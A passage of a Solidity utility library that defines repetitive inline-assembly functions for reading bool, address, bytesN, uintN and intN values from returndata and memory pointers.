returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads 